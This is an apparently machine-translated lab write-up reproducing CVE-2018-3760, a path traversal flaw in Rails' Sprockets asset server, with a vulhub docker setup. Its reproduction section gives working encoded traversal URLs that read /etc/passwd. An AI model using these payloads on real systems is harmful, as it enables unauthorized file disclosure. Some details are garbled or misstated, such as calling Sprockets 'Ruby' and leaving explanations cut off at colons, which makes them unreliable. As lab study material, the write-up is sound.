CVE-2018-3760 vulnerability reproduce (read arbitrary files)
0x00 introduce vulnerabilities
Ruby On Rails is a well-known Ruby Web development framework that uses the sprocket as a development environment in a static file server. Sprockets is a Ruby library compile and distribute static resource files.
In Ruby 3.7.1 and earlier, the presence of the path traversed by the auxiliary decoder due to the vulnerability. An attacker can use% 252e% 252e / access the root directory and read or execute any files on the target server.
0x01 vulnerability principle
The problem lies in sprockets, which is used to check the interdependencies JavaScript files, js files to optimize web pages introduced in order to avoid unnecessary load js files.
When accessing such as http://127.0.0.1:3000/assets/foo.js, it will enter server.rb:
rorbidden_request path used to check whether the path includes ... to prevent cross, whether it is an absolute path:
0x02 Affects Version
4.0.0.beta7 and earlier versions
3.7.1 and earlier versions
2.12.4 and earlier.
0x03 vulnerability repair
In a Rails application, to resolve this issue, set config.assets.compile = false, and then
use config.public_file_server.enabled = true and precompiled assets in the initialization process.
Can not resolve this problem in all managed environment, we recommend you to upgrade.
patch
To help users not to upgrade immediately
they use git-am format, and includes a change set.
- 4-0-fix-path-traversal.patch-4.0.x release series of patches
- 3-7-fix-path-traversal.patch-3.7.x release series of patches
- 2-12-fix-path-traversal.patch-2.12.x version of the series of patches
0x04 environmental vulnerability
[cd vulhub-master/]
[cd rails/]
[cd CVE-2018-3760/]
[docker-compose up -d]
[docker-compose up -d]
[http://192.168.168.137:3000]
0x05 reproducible vulnerability
[http://192.168.139.137:3000/assets/file:%2f%2f/etc/passwd]
[http://192.168.139.137:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd]
[Through error page, you can get the permission of the directory listing. Wherein a jump to the directory, such as / usr / src / blog / app / assets / images, then% 252e% 252e / a layer jump up, and finally reading / etc / passwd:]
